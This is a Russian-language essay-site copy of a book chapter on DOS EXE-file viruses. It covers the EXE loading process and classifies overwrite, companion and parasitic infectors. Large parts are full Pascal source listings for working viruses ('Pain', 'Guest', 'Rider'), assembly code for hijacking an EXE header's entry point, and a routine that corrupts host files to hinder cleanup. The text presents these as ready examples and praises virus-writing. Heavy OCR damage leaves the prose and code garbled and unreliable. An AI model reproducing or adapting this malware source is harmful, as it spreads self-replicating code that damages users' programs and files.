рефераты конспекты курсовые дипломные лекции шпоры

Реферат Курсовая Конспект

Exe-вирусы

Exe-вирусы - раздел Программирование, Ехе-Вирусы В Этой Главе Рассказано О Ви-Русах, Заражающих Ехе-Фай-Лы. Привед...

ЕХЕ-ВИРУСЫ В этой главе рассказано о ви-русах, заражающих ЕХЕ-фай-лы. Приведена классифика-ция таких вирусов, подробнорассмотрены алгоритмы ихработы, отличия междуними, достоинства и недо-статки. Для каждого типавирусов представлены исход-ные тексты с подробнымикомментариями. Также приве- .дены основные сведенияо структуре и принципах ра-боты ЕХЕ-программы. СОМ-файлы небольшие программы, написанные в основном на языкеAssembler медленно, но верно устаревают.Им на смену приходят пуга-ющие своими размерами ЕХЕ-монстры.

Появились и вирусы, умею-щие заражать ЕХЕ-файлы. Структура и процесс загрузки ЕХЕ-программы В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-скольких сегментов кодов, данных, стека. Они могут занимать боль-ше 64Кбайт. ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуруи данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-стройки адресов Relocation Table. Таблица состоит из значений в фор-мате сегментсмещение.

К смещениям в загрузочном модуле, на которыеуказывают значения в таблице, после загрузки программы в память дол-жен быть прибавлен сегментный адрес, с которого загружена программа. При запуске ЕХЕ-программы системным загрузчиком вызовом функ-ции DOS 4Bh выполняются следующие действия 1. Определяется сегментный адрес свободного участка памяти, размеркоторого достаточен для размещения программы. 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы сегментЮОООЬ - PSP сегментООЮЬЮОООЬ - программа. В поля PSP заносятся соответ-ствующие значения. 4. Адрес DTA устанавливается равным PSP0080h. 5. В рабочую область загрузчика считывается форматированная частьзаголовка ЕХЕ-файла. 6. Вычисляется длина загрузочного модуля по формуле Si7.ePageCnt5i2-HdrSaei6-PatP3ig. 7. Определяется смещение загрузочного модуля в файле, равноеHdrSize8. Вычисляется сегментный адрес STARTSEG для загрузки -обычно это PSPlOh. 9. Считывается в память загрузочный модуль начиная с адресаSTARTSEG0000. 10. Для каждого входа таблицы настройки a читаются слова IOFF и ISEG b вычисляется RELCSEG-STARTSEGLSEG c читается слово по адресу RELOSEGIOFF d к прочитанному слову прибавляется STARTSEG e результат запоминается по тому же адресу RELOSEGIOFF. 11. Распределяется память для программы в соответствии с МахМети МтМет. 12. Инициализируются регистры, выполняется программа a ESDSPSP b АХрезультат проверки правильности идентификаторов драйве-ров, указанных в командной строке c SSSTARTSEGReloSS, SP-ExeSP d CSSTARTSEGReloCS, IPExeIP. Классификация ЕХЕ-вирусов ЕХЕ-вирусы условно можно разделить на группы, используя в качествепризнака для деления особенности алгоритма.

Вирусы, замещающие программный код Overwrite Такие вирусы уже стали раритетом.

Главный их недостаток - слишкомгрубая работа. Инфицированные программы не исполняются, так каквирус записывается поверх программного кода, не сохраняя его. Призапуске вирус ищет очередную жертву или жертвы, открывает найден-ный файл для редактирования и записывает свое тело в начало про-граммы, не сохраняя оригинальный код. Инфицированные этими виру-сами программы лечению не подлежат.

Вирусы-спутники Companion Эти вирусы получили свое название из-за алгоритма размножения к каждому инфицированному файлу создается файл-спутник.

Рассмот-рим более подробно два типа вирусов этой группы Вирусы первого типа размножается следующим образом.

Для каждого ин-фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширениемСОМ. Вирус активируется, если при запуске программы в команднойстроке указано только имя исполняемого файла.Дело в том, что, еслине указано расширение файла, DOS сначала ищет в текущем каталогефайл с заданным именем и расширением СОМ. Если СОМ-файл с та-ким именем не найден, ведется поиск одноименного ЕХЕ-файла.

Еслине найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ пакетныйфайл.В случае отсутствия в текущем каталоге исполняемого файлас указанным именем поиск ведется во всех каталогах, доступныхпо переменной PATH. Другими словами, когда пользователь хочет за-пустить программу и набирает в командной строке только ее имяв основном так все и делают, первым управление получает вирус,код которого находится в СОМ-файле.

Он создает СОМ-файл ещек одному или нескольким ЕХЕ-файлам распространяется, а затемисполняет ЕХЕ-файл с указанным в командной строке именем. Поль-зователь же думает, что работает только запущенная ЕХЕ-программа.Вирус-спутник обезвредить довольно просто - достаточно удалитьСОМ-файл. Вирусы второго типа действуют более тонко.Имя инфицируемогоЕХЕ-файла остается прежним, а расширение заменяется каким-либодругим, отличным от исполняемого СОМ, ЕХЕ и ВАТ, Например,файл может получить расширение DAT файл данных или OVL про-граммный оверлей. Затем на место ЕХЕ-файла копируется вирусныйкод.

При запуске такой инфицированной программы управление полу-чает вирусный код, находящийся в ЕХЕ-файле.Инфицировав еще одинили несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-нальному файлу исполняемое расширение но не ХЕ, а СОМ, по-скольку ЕХЕ-файл с таким именем занят вирусом, после чего испол-няет его. Когда работа инфицированной программы закончена, еезапускаемому файлу возвращается расширение неисполняемого. Лече-ние файлов, зараженных вирусом этого типа, может быть затруднено,если вирус-спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу Parasitic Вирусы этого вида самые незаметные их код записывается в инфици-руемую программу, что существенно затрудняет лечение зараженныхфайлов.

Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл. Способы заражения ЕХЕ-файлов Самый распространенный способ заражения ЕХЕ-файлов такой в конецфайла дописывается тело вируса, а заголовок корректируется с сохране-нием оригинального так, чтобы при запуске инфицированного файлауправление получал вирус. Похоже на заражение СОМ-файлов, но вмес-то задания в коде перехода в начало вируса корректируется собственноадрес точки запуска программы.После окончания работы вирус берет изсохраненного заголовка оригинальный адрес запуска программы, прибав-ляет к его сегментной компоненте значение регистра DS или ES полу-ченное при старте вируса и передает управление на полученный адрес.

Следующий способ - внедрение вируса в начало файла со сдвигом кодапрограммы.Механизм заражения такой тело инфицируемой программысчитывается в память, на ее место записывается вирусный код, а посленего - код инфицируемой программы. Таким образом, код программыкак бы сдвигается в файле на длину кода вируса.

Отсюда и названиеспособа - способ сдвига. При запуске инфицированного файла вирусзаражает еще один или несколько файлов.После этого он считываетв память код программы, записывает его в специально созданный надиске временный файл с расширением исполняемого файла СОМ илиЕХЕ, и затем исполняет этот файл. Когда программа закончила рабо-ту, временный файл удаляется. Если при создании вируса не применя-лось дополнительных приемов защиты, то вылечить инфицированныйфайл очень просто - достаточно удалить код вируса в начале файла,и программа снова будет работоспособной.

Недостаток этого методав том, что приходится считывать в память весь код инфицируемой про-граммы а ведь бывают экземпляры размером больше 1Мбайт. Следующий способ заражения файлов - метод переноса - по всей ви-димости, является самым совершенным из всех перечисленных. Вирусразмножается следующим образом при запуске инфицированной про-граммы тело вируса из нее считывается в память.Затем ведется поискнеинфицированной программы.

В память считывается ее начало,по длине равное телу вируса. На это место записывается тело вируса.Начало программы из памяти дописывается в конец файла. Отсюда на-звание метода - метод переноса. После того, как вирус инфицировалодин или несколько файлов, он приступает к исполнению программы,из которой запустился.Для этого он считывает начало инфицирован-ной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы.

Затем вирус уда-ляет код начала программы из конца файла, восстанавливая оригиналь-ную длину файла, и исполняет программу. После завершения програм-мы вирус вновь записывает свой код в начало файла, а оригинальноеначало программы - в конец. Этим методом могут быть инфицированыдаже антивирусы, которые проверяют свой код на целостность, так какзапускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.Вирусы, замещающие программный кодOverwrite Как уже говорилось, этот вид вирусов уже давно мертв.

Изредка появ-ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,соревнование в написании самого маленького overwrite-вируса. На дан-ный момент самый маленький из известных overwrite-вирусов написанReminderом Death Virii Crew group и занимает 22 байта.Алгоритм работы overwrite-вируса следующий 1. Открыть файл, из которого вирус получил управление. 2. Считать в буфер код вируса. 3. Закрыть файл. 4. Искать по маске подходящий для заражения файл. 5. Если файлов больше не найдено, перейти к пункту 11. 6. Открыть найденный файл. 7. Проверить, не заражен ли найденный файл этим вирусом. 8. Если файл заражен, перейти к пункту 10. 9. Записать в начало файла код вируса. 10. Закрыть файл по желанию можно заразить от одного до всех фай-лов в каталоге или на диске. 11. Выдать на экран какое-либо сообщение об ошибке, напримерAbnormal program termination или Not enough memory пустьпользователь не слишком удивляется тому, что программа не запу-стилась. 12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы такимспособом.

М 2048, 0, 0 А- В- D- Е F- G L- N- S- V- X Используются модули DOS и System модуль System автоматически подключается к каждой программе при компиляцииUses DOS Const Имя вирусаVirNamePain Строка для проверки на повторное заражение. Она дописывается в заражаемый файл сразу после кода вируса VirLabel String5Pain1 Длина получаемого при компиляции ЕХЕ-файлаVirLen4208 AuthorDirty NaziSGWW. Количество заражаемых за один сеанс работы файловlnfCount2 Var Массив для определения наличия копии вируса в найденном файлеVirldentifier Array 1.5 of Char Файловая переменная для работы с файламиVirBody File Еще одна файловая переменная - хотя без нее можно былообойтись, так будет понятнееTarget File Для имени найденного файлаTargetFile PathStr Буфер для тела вирусаVirBuf Array -I.VirLen of Char Для датывремени файлаTime Longint Счетчик количества инфицированных файловInfFiles Byte Dirlnfo SearchRec LabelBuf Array 1.5 of Char Инициализацияprocedure Init beginLabelBuf 1VirLabel1 LabelBuf2VirLabel2 LabelBuf3VirLabel3,LabelBuf4VirLabel4 LabelBuf5VirLabel5 Обнуляем счетчик количества инфицированных файловlnfFiles0 Связываем файловую переменную VirBody с именем программы.из которой стартовалиAssignVirBody, ParamStrO Открываем файл с recsize1 байтуResetVirBody, 1 Считываем из файла тело вируса в массив VirBufBlockReadVirBody VirBuf, VirLen Закрываем файлCloseVirBody end Поиск жертвыprocedure FindTarget VarSr SearchRec Функция возвращает True, если найденная программа уже заражена, и False, если еще нетfunction VirusPresent Boolean begin Пока будем считать, что вируса нетVirusPresentFalse Открываем найденный файлAssignTarget, TargetFile ResetTarget, 1 Перемещаемся на длину тела вируса от начала файлаSeekTarget, VirLen Считываем 5 байт - если файл уже заражен,там находится метка вирусаBlockReadTarget, Virldentifier, 5 If VirldentifierVirlabel Then Если метка есть, значит есть и вирусVirusPresentTrue end Процедура зараженияprocedure InfectFile begin Если размер найденного файла меньше, чем длина вирусаплюс 100 байт, то выходим из процедурыIf Sr.Size VirLen100 Then Exit Если найденная программа еще не заражена, инфицируем ееIf Not VirusPresent Thenbegin Запомним дату и время файла.

Атрибуты запоминать не надо,так как поиск ведется среди файлов с атрибутом Archive, а этотатрибут устанавливается на файл после сохранения в любом случаеTimeSr.Time Открываем для зараженияAssignTarget, TargetFile ResetTarget, 1 Записывам тело вируса в начало файлаBlockWriteTarget, VirBuf, VirLen Перемещаем указатель текущей позициина длину вируса от начала файлаSeekTarget, VirLen Вписываем метку зараженияBlockWriteTarget, LabelBuf, 5 Устанавливаем дату и время файлаSetFTimeTarget, Time ЗакрываемCloseTarget Увеличиваем счетчик инфицированных файловInclnfFiles end end Начало процедуры FindTargetbegin Ищем в текущем каталоге файлы по маске .ЕХЕс атрибутами ArchiveFindFirstF.EXE, Archive, Sr Пока есть файлы для заражения While DosError0 Do begin If Sr.Name Then Exit Запоминаем имя найденного файла в переменную TargetFileTargetFileSr.Name Вызываем процедуру зараженияInfectFile Если заразили InfCount файлов, завершаем поискIf InfFiles InfCount Then Exit Ищем следующий файл по маскеFindNextSr end end Основное телоbegin Инициализируемсяhit Ищем жертвы и заражаем ихFindTarget Выдаем на экран сообщение об ошибкеWriteLnAbnormal program termination.

Это чтобы компилятор вставил в код константы VirNameи Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экранIf 23 ThenbeginWriteLnVirName WriteLnAuthor end end. Вирусы-спутники Companion Вирусы-спутники сейчас широко распространены - соотношениеcompanion и parasitic вирусов примерно один к двум. Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая чужого кота ЕХЕ-программу, со-здать своего - СОМ-файл с именем ЕХЕ-программы.

Алгоритм рабо-ты такого вируса предельно прост, так как отпадает необходимостьлишних действий например, сохранения в теле вируса длины откомпи-лированного ЕХЕ-файла с вирусным кодом, считывания в буфер телавируса, запуска файла, из которого вирус получил управление.

Неза-чем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора 1. Если в командной строке указаны параметры, сохранить их в пере-менную типа String для передачи инфицированной программе. 2. Найти ЕХЕ-файл-жертву. 3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-лом СОМ-файл с таким же именем, как у файла-жертвы. 4. Если такой СОМ-файл присутствует, файл уже заражен, переходимк пункту 6. 5. С помощью командного процессора скопировать файл, из которогополучено управление, в файл с именем жертвы и расширением СОМ. 6. Процедурой Ехес загрузить и выполнить файл с именем стартового, нос расширением ЕХЕ - то есть выполнить инфицированную программу. 7. Вернуть управление в DOS. Приведенный ниже листинг показывает заражение файлов этимметодом.

М 2048, 0, 0fA- В-D- Е1F-G fL-N-S- V-X Используются модули DOS и System модуль System автоматическиподключается к каждой программе при компиляцииUses DOS Const Имя вирусаVirNameGuesf AuthorDirty NaziSGWW. 4 PVT only Количество зараженных за один сеанс работы файловlnfCount2 Var Для имени найденного файлаTargetFile PathStr Для создания копииTargetCOM PathStr Счетчик количества зараженийInfFiles Byte Dirlnfo SearchRec Для сохранения параметров командной строкиParms String Для цикла ForI Byte Поиск жертвprocedure FindTarget VarSr SearchRec Функция возвращает True, если найденная программа уже заражена,и False, если еще нетfunction VirusPresent Boolean Var Target File begin Пока будем считать, что вируса здесь нетVirusPresentFalse Пытаемся открыть файл с именем найденной программы,но с расширением СОМAssignHarget, TargetCOM ResetHarget, 1 Если не было ошибок при открытии,программа уже инфицирована этим вирусомIf IOResult0 ThenbeginVirusPresentTrue Открыли - закроемCloseTarget end end Собственно процедура зараженияprocedure InfectFile begin Если найденная программа еще не заражена, инфицируем ееIf Not VirusPresent Thenbegin С помощью командного процессоракопируем вирусный код в СОМ-файлSwap Vectors ExecGetEnvCOMSPEC,7C COPY B ParamStr0TargetCOM NUL Swap Vectors Увеличиваем на единицу счетчик инфицированных файловInclnfFiles end end begin начало процедуры FindTarget Ищем в текущем каталоге файлы по маске .ЕХЕс атрибутами ArchiveFindFirstF.EXE, Archive, Sr Пока есть файлы для заражения While DosError0 Do begin If Sr.Name Then Exit Запоминаем имя найденного файла в переменную TargetFileTargetFileSr.Name TargetCOMCopyTargetFile,1,LengthTargetFi le-4.COM Вызываем процедуру зараженияInfectFile Если заразили InfCount файлов, завершаем поискIf InfFiles InfCount Then Exit Ищем следующий файл по маскеFindNextSr end end Основное телоbeginParms Запоминаем параметры командной строкиIf ParamCount 0 ThenFor l1 To ParamCount DoParmsParms ParamStrl Ищем жертвы и заражаем ихFindTarget TargetFileCopyParamStr0, 1 ,LengthParamStr0-4.EXE Ищем файл с именем стартового файла, но с расширением ЕХЕFindFirstTargetFile, AnyRle, Dirlnfo Если такой файл найден, запускаем его на выполнениеIf DosError0 ThenbeginSwap Vectors ExecGetEnvCOMSPEC,7C TargetFileParms Swap Vectors end Else Если файл не найден, выходим,не внося в программу измененийbeginWriteLn1310, VirName, by .Author WriteLnCKaKoe-нибудь сообщение end end. Инфицирование методом переименования ЕХЕ-файла Отличий в алгоритмах работы этих вирусов и их коллег, создающихфайл-спутник, не так уж много.

Но, по всей видимости, заражение ме-тодом переименования несколько совершеннее - для излечения от ви-руса нужно не просто удалить СОМ-файл с кодом вируса, а немногопомучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-рованной программой. 1. Если в командной строке указаны параметры, сохранить их в пере-менную типа String для передачи инфицированной программе. 2. Найти ЕХЕ-файл-жертву. 3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-лом-жертвой файл с таким же именем и с расширением, котороевыбрано для инфицированной программы например, OVL - про-граммный оверлей. 4. Если такой файл присутствует, программа уже инфицирована - пе-реходим к пункту 7. 5. Переименовать найденный файл-жертву ЕХЕ в файл с таким же име-нем, но с расширением, выбранным для инфицированной программы. 6. С помощью командного процессора скопировать файл, из которого по-лучено управление, в файл с именем жертвы и расширением жертвы. 7. Найти в каталоге, из которого получено управление, файл с именемстартовой программы, но с расширением, выбранным для инфици-рованной - это и будет зараженная программа, которую в данныймомент необходимо запустить на исполнение. 8. Если такой файл не найден, переходим к пункту 12. 9. Изменить расширение найденного файла на СОМ ни в коем случае нена ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код. 10. Процедурой Ехес загрузить и выполнить переименованный файл -то есть выполнить инфицированную программу. 11. Вернуть СОМ-файлу с инфицированной программой выбранноерасширение, то есть превратить его опять в неисполняемый. 12. Вернуть управление в DOS. Несколько слов о вирусе, листинг которого приведен ниже. Вирус Riderнаписан очень просто и доступно.

За сеанс работы он заражает одинЕХЕ-файл в текущем каталоге.

Сам процесс заражения также весьмапрост файл-жертва переписывается в файл с расширением OVL овер-лейный файл, а на его место с помощью командного процессора копи-руется вирусный код. При запуске происходит заражение только чтонайденного ЕХЕ-файла, затем вирусный код переименовываетсяв OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-ние. Когда оригинал отработал, происходит переименование в обратномпорядке.

С защищенного от записи диска программа не запустится, онавыдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про-сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-чение, в вирусе может быть использован такой прием procedure MakeNot Var Buf10 Array 1.10 of Byte Cicle Byte beginSeekProg, 0 ResetProg BlockReadProg, Buf10, 10 For Cicle1 To 10 Do Buf10CicleNot Buf10Cicle SeekProg, 0 BlockWriteProg, Buf10, 10 CloseProg end При использовании этой процедуры надо учитывать, что заражаемаяи запускаемая на исполнение программа должна быть связана с пере-менной Prog типа File, описанной в основном модуле.

Суть процедурысостоит в том, что из заражаемой программы считываются 10 байт и ко-дируются операцией Not. ЕХЕ-программа становится неработоспособ-ной. Запускать эту процедуру нужно не только перед прогоном ориги-нала, но и после него. Name Rider Version 1.0 Stealth No Tsr No Danger 0 Attac speed Slow Effects No Length 4000 Language Pascal BodyStatus Packed Packer Pklite M 2048, 0, 0 Stack 1024b, Low Heap Limit Ob,High Heap Limit Ob Используются модули DOS и System модуль System автоматическиподключается к каждой программе при компиляцииUses DOS ConstFailCannot execute 1310Disk is write-protected Расширения файлов, которые будем использоватьOvr.OWL Ovl.OVL Ехе.ЕХЕ VarDirlnfo SearchRec Sr SearchRec Ch Char I Byte OurName PathStr OurProg PathStr Ren File CmdLine ComStr Victim PathStr VictimName PathStr Процедура для проверки диска на Read Onlyprocedure CheckRO beginAssignRen, FF ReWriteRen EraseRen If lOResult 0 Then Если диск защищен от записи, то ответ Access denied begin WriteLnFail Halt5 end end Процедура прогонки оригиналаprocedure ExecReal begin Находим оригиналFindFirstOurNameOvl, AnyFile, Dirlnfo If DosError 0 Then Если не нашли begin WriteLnVirus RIDER. Lets go on riding WriteLnl beg your pardon, your infected file cannot be executed.

Выход с DosError t ann не найденHalt18 end Переименовываем программу в OVLAssignRen, OurNameExe ReNameRen, OurNameOvr Переименовываем оверлей в ЕХЕAssignRen, OurNameOvl ReNameRen, OurNameExe И запускаем егоSwap Vectors ExecGetEnvCOMSPEC, 7C OurNameExeCmdLine Swap Vectors А теперь возвращаем все на местоAssignRen, OurNameExe ReNameRen, OurNameOvl AssignRen, OurNameOvr ReNameRen, OurNameExe end Процедура зараженияprocedure Infect begin Переименовываем жертву в OVLAssignRen, Victim ReNameRen, VictimNameOvl Копируем тело вируса на место жертвыSwapVectors ExecGetEnvCOMSPEC, С COPY OurProg Victim NUL SwapVectors end Процедура поиска жертвыprocedure FindFile begin В текущем каталоге ищем ЕХЕ-файлFindFirstEXE, AnyFile, Dirlnfo If DosError0 Then И если он найденbegin Запоминаем имя жертвыVictimDirlnfo.Name Запоминаем имя без расширенияVictimNameCopyVictim, 1, LengthVictim-4 Ищем оверлей с тем же именемFindFirstVictimNameOvl, AnyFile, Sr If DosError 0 Then Infect end end Процедура инициализации переменныхprocedure I nit begin Командная строкаCmdLine Полное имя нашей программыOurProgParamStr0 Имя нашей программы без расширенияOurNameCopyParamStr0, 1, LengthParamStr0-4 For l1 To ParamCount Dobegin Запоминаем параметрыCmdLineParamStrl end end Основная подпрограммаbegin А эту табличку запишем в код для тех, кто распакует вирус и начнет в нем копаться If False Then begin WriteLn1310 end ИнициализируемсяInit Проверка диска на RОCheckRO Ищем и заражаемFindFile Загружаем оверлейExecReal end. Вирусы, внедряющиеся в программу Parasitic Эти вирусы являются самыми хитрыми.

Поскольку такой вирус вне-дряется в инфицируемую программу, это дает ему много преимуществперед всеми вышеописанными вирусами на диске не появляются лиш-ние файлы, нет забот с копированием и переименованием, кроме того,усложняется лечение инфицированных файлов. Стандартное заражение ЕХЕ-файлов Стандартное заражение - заражение, при котором вирус внедряетсяв конец файла, изменяя заголовок так, чтобы после загрузки файла уп-равление получил вирус.

Принципиально действие такого вируса малоотличается от действия рассмотренного СОМ-вируса.

Чтобы выяснитьспособы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-граммы Читаем заголовок ЕХЕ-файла точнее, только первые 18h байт,которых вполне достаточно ReadHeader mov ah,3Fh mov dx,offset EXEHeadermov cx,0018hint 21 h Останавливаем в SI адрес считанного заголовка.

В дальнейшембудем обращаться к заголовку, используя Slсмещение элементаmov si,offset EXEHeader Получаем реальную длину файла, переместив указатель текущейпозиции чтениязаписи в конец файлаGetRealFSize mov ax,4202h mov bx.Handle xor ex,ex xor dx.dx int 21 h Сохраним полученную длину файлаmov Reallen.dxmov Reallen2,ax Так как речь идет о стандартной процедуре заражения, нужнопомнить, что все вышесказанное не должно затрагиватьоверлейные файлы.

Их длина, указанная в заголовке меньше реальной, то есть эти файлы загружаютсяв память не полностью.

Следовательно, если заразить такой файл, вирус попадетв незагружаемую часть.Сохраним в стеке реальную длину ЕХЕ-файла push dx push ax рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остатокCompareOVL mov cx,0200h div ex Ha данный момент в регистре АХ находится число страницв каждой странице содержится 512 байт,а в регистре DX - остаток, образующий еще одну неучтенную страницу Добавим эту страницу к общему числу страниц -если остаток не равен нулю, то.увеличим число страниц or dx.dx jz m1 inc axm1 .Будем считать пригодным для заражения.стандартным способом файлы с длиной,полностью совпадающей с указанной в заголовке cmp ax,siPartPag jne ExitProc cmp dx,siPageCnt jne ExitProc Чтобы вирус смог вернуть управлениезараженной программе, сохраним поля ReloSS,ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла Значения констант, используемых в программе равны смещению соответствующегоэлемента в заголовке ЕХЕ-файла Приложение АInitRetVars mov ax,siReloSS mov oldss.ax mov ax,siExeSP mov oldsp.ax mov ax,siReloCS mov oldcs.ax mov ax,siExeP mov oldip.ax .Восстановим из стека реальную длину файлаВ данном случае она совпадает с длиной, указанной в заголовке pop ax pop dx .Рассчитаем длину программы с вирусом, для чего прибавимк длине файла длину тела вируса add ax,VIRSIZE VIRSIZE - длина тела вируса adc dx.0 рассчитаем получившуюся длину одна страница - 512 байти остаток в последней странице так же,как рассчитывали длину файла без вируса mov cx,0200h div ex or dx.dx jz newJen inc axNewJen Внесем в заголовок новую длину файлаmov siPageCnt,axmov siPartPag,dx Прочитаем реальную длину файла.По ней будем рассчитывать новуюточку входа в программу адрес запускаEvalnewentry mov dx.Reallen2 mov ax.Reallen Рассчитаем новую точку входа. .Точка входа в вирус должна находиться в начале его тела. Другими словами, нужно к длине файла .прибавить смещение точки входа. Разделим длину на размер параграфа 10h mov cx,10h div ex Получили число параграфов AX и остаток DX - смещениевируса в последнем параграфе.0тнимем от числа параграфов в файле число.параграфов в заголовке - получим сегмент входа в ЕХЕ-файлsub ax,siHdrSize 3апишем новую точку входа в заголовокmov siReloCS,axmov siExelP,dx .Замечание можно было округлить полученное число,и вирус начинался бы с OOOOh.Но этого делать не стоит.

Естественно, все обращения к данным в этом вирусе должны быть нефиксированными, как и в любом другом вирусе.

Вместо mov ax,ANYDATA придется делать так mov si.VIRSTART mov ax,sioffset ANYDATA где offset ANYDATA - смещение относительно начала тела вируса Стек поставим за тело вируса - байт на ЮОп. Потом обязательно вернем, иначе можно стереть заготовленные в стеке значения .Установим сегмент стека такой же, как и кода, а указатель на вершину стека - на 100h байт после тела вируса mov siReloSSj.ax mov ax.VIRSIZEIOOh mov siExeSP,ax Теперь запишем заголовок в файл, не забыв и тело вируса.

Рекомендуется писать сначала тело, а потом заголовок.Если тело вдруг не допишется,то файл испортим зряUpdateRle 3апишем тело вирусаWriteBody Установим указатель чтениязаписи в конец файлаmov bx, Handleхог сх,схxor dx.dxmov ax,4202hint 21 h .Запишем тело вируса в файлmov ah,40hmov cx.VIRSIZEmov dx.offset VIRStartint 21h 3апишем заголовокWriteHeader Установим указатель чтениязаписи в начало файлаmov ax,4200h xor ex,ex xor dx.dx int 21 h .Запишем заголовок в файл mov cx,0018h mov ah,40h mov dx.si int 21 h Итак, вирус поселился в ЕХЕ-файле.

А как после окончания работывируса передать управление инфицированной программе Вот процеду-ра выхода из вируса CureEXE StackBack Установим первоначальный указатель сегмент и смещение стекаmov ax.ds Прибавим ООЮп, после чего в АХ будетнаходится сегмент, с которогозагружен программный модульadd ax,10h Прибавим первоначальный сегмент стека db addax код ADD AX, дальше по аналогииOldSS dw это значение было установленопри заражении 3апретим прерывания, так как со стеком нельзя работать,пока и сегмент, и смещение не установлены в нужное значениеcli Установим сегмент стека PSPWhOldSSmov ss.ax Установим первоначальный указатель смещение стека db movspOldSP dw Разрешим прерывания - опасный участок пройденsti Подготовим значения в стеке для команды IRETRetEntryPoint pushf рассчитаем сегмент для кода по аналогии с сегментом стека mov ax.DATASEG add ax,10h db addaxOldCS dw Сохраним в стеке полученное значение PSPWhOldCSpush ax Сохраним в стеке смещение исходной точки входа db movaxOldIP dw push ax .Запустим программу.

В стеке находятся смещениеточки входа, сегмент точки входа и флагиiret Внедрение способом сдвига Инфицируемая программа размещается в файле после кода вируса,сдвигаясь на его длину, отсюда и название метода.

Алгоритм работывируса следующий 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл-жертву для данного типа вирусов лучше СОМ-файл,но можно и не слишком большой ЕХЕ - это связано с тем, что всетело инфицируемой программы считывается в память и ее может нехватить, если эта программа слишком большая. 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение здесь могут быть вариан-ты, но чаще всего используется сигнатура. 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер все тело программы. 9. Записать в начало файла тело вируса из буфера. 10. Дописать в файл после тела вируса тело программы из буфера.Длина программы увеличивается на длину вируса. 11. Закрыть файл-жертву. 12. Открыть файл, из которого стартовали. 13. Считать в буфер тело инфицированной программы, расположенноев файле после тела вируса. 14. Создать на диске временный файл с расширением СОМ или ЕХЕв зависимости от того, какой тип программ заражается. 15. Записать в этот файл тело программы из буфера. 16. Закрыть созданный файл. 17. Процедурой Ехес запустить созданный файл на исполнение -выполнится инфицированная программа. 18. После завершения работы программы созданный файл удалить. 19. Вернуть управление в DOS. Вирусы - это хорошая гимнастика для ума, хотя многие думают, чтонаписать вирус на языке высокого уровня весьма трудно.

Это не совсемтак.

Писать на языке Pascal довольно легко, правда величина получен-ного кода вызывает благоговейный трепет.

Внедрение способом переноса Вирусы данного типа размножаются следующим образом. Из инфициру-емой программы от начала файла считывается часть кода, по длине рав-ная длине вируса.

На освободившееся место вписывается вирус,а оригинальное начало программы переносится в конец файла.

Отсюдаи название метода - метод переноса.

Есть и другие варианты.

Иногда,например, начало программы записывается в середину файла, а серединапереносится в конец, чтобы еще сильнее все запутать.

Превосходство дан-ного метода над другими описанными в том, что инфицированная про-грамма исполняется в том же виде, в каком она была до заражения,из файла с тем же именем и расширением.

То есть программы, проверя-ющие себя на предмет заражения вирусом, его не замечают.

Корректноисполняются и такие программы, которые ищут свои файлы конфигура-ции с именами ИМЯИПУТЬКСАМОЙПРОГРАММЕ .INI Недостаток данного метода проявляется при сбоях в работе компьюте-ра. Если при исполнении инфицированной программы компьютерповиснет или произойдет перезагрузка системы, инфицированная программа окажется чистой, то есть без вируса.

Но, во-первых, ктоне рискует, тот не пьет шампанского, а во-вторых, программы виснутредко.

Алгоритм работы такого вируса следующий 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл-жертву. 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение здесь могут быть вариан-ты, но чаще всего используется сигнатура. 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер из начала найденного файла фрагмент программы,по длине равный телу вируса. 9. Записать в начало файла тело вируса из буфера. 10. Дописать в конец файла считанное начало программы из буфера.Длина программы увеличилась на длину вируса. 11. Закрыть файл-жертву. 12. Открыть файл, из которого стартовали. 13. Считать в буфер начало инфицированной программы, расположен-ное в конце файла. 14. Записать считанное начало программы поверх кода вируса в началофайла. 15. Сократить файл до его оригинальной длины то есть удалить частькода, по длине равную длине тела вируса, в конце файла. 16. Закрыть файл. 17. Процедурой Ехес запустить стартовый файл ParamStrO на ис-полнение - выполнится инфицированная программа. 18. После завершения работы программы опять открыть стартовыйфайл. 19. Записать в начало файла тело вируса, а оригинальное начало про-граммы опять переместить в конец файла. 20. Закрыть файл. 21. Вернуть управление в DOS.

– Конец работы –

Используемые теги: Exe-вирусы0.04

Если Вам нужно дополнительный материал на эту тему, или Вы не нашли то, что искали, рекомендуем воспользоваться поиском по нашей базе работ: Exe-вирусы

Что будем делать с полученным материалом:

Если этот материал оказался полезным для Вас, Вы можете сохранить его на свою страничку в социальных сетях:

Еще рефераты, курсовые, дипломные работы на эту тему:

0.024
Хотите получать на электронную почту самые свежие новости?
